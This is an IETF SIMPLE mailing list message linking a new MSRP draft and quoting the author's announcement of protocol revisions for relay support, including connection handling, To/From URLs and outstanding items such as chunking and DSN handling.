http://www.nostrum.com/~ben/draft-ietf-simple-message-sessions-04.html

...until it hits the repository.

Thanks!

Ben.

Ben Campbell wrote:
> The chairs have requested that we put MSRP on a "release early and 
> often" track. That is, rather than waiting until I have all the planned 
> updates completed, I will put out a revision for each significant update.
> 
> Therefore I will be submitting a revised MSRP base spec draft either 
> this evening (Wednesday) or Thursday, followed by a series of revisions 
> over the next few weeks.
> 
> This revision will include changes to MSRP URL handling and connection 
> handling needed to allow relays to be used. As we discussed in Korea, it 
> will not describe relays themselves; this will be handled in a separate 
> draft. But there were a number of base specification changes needed to 
> make it possible to integrate relays.
> 
> We are working from a number of assumptions about how relays will work, 
> even though the MSRP relay draft is pending:
> 
> --Relays are session-stateless
> 
> --Relay chains are source routed, with the route negotiated in the SDP.
> 
> -- Transactions are hop-by-hop, and downstream transactions do not 
> depend on upstream transactions.
> 
> Specific changes in this revision:
> 
> -- The answerer always opens the TCP connection to the offerer. The 
> comedia like direction negotiation is removed.
> 
> --  Shared connections are allowed.
> 
> --  MSRP URLs identify a destination within a session, rather than the 
> entire session itself. MSRP requests will now have a To field describing 
> the destination, and a From field describing the source. The sdp 
> negotiation allows each endpoint to contribute its URL.
> 
> -- To enable routing across relays, an SDP request can carry a list of 
> URLs. We expect this to be used with relays to describe a route across 
> relays. The base spec will not say how one would determine a list of 
> more than one URL, but it does require an endpoint to be able to receive 
> such a list and process it reasonably. Basically, if you receive a list, 
> you put the entire list in To headers on SEND requests. This will work 
> even if the receiver wants to contribute their own relays to the path, 
> but that belongs in the relay spec, not the base.
> 
> There are still a number of outstanding items we discussed in Korea,that 
> will be required to allow relay integration, but are not covered by this 
> revision:
> 
> -- DSN handling and negotiation. Since relays will be able to originate 
> DSNs, even endpoints that don't understand relays will need to be able 
> to receive them.
> 
> -- Chunking
> 
> -- Using message bounderies instead of length fields for message 
> framing, so you can abort a request without destroying framing for the 
> connection.
> 
> -- Orit requested that we allow a mode where there are no transaction 
> responses. She has agreed to document the motivation for this. I will 
> hold any changes based on this request until after the work group has a 
> chance to discuss that document.
> 
> -- a few outstanding, non-controversial items, such as allowing all 
> standard MIME headers.
> 
> Watch this channel for revisions covering these items in the very near 
> future.
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



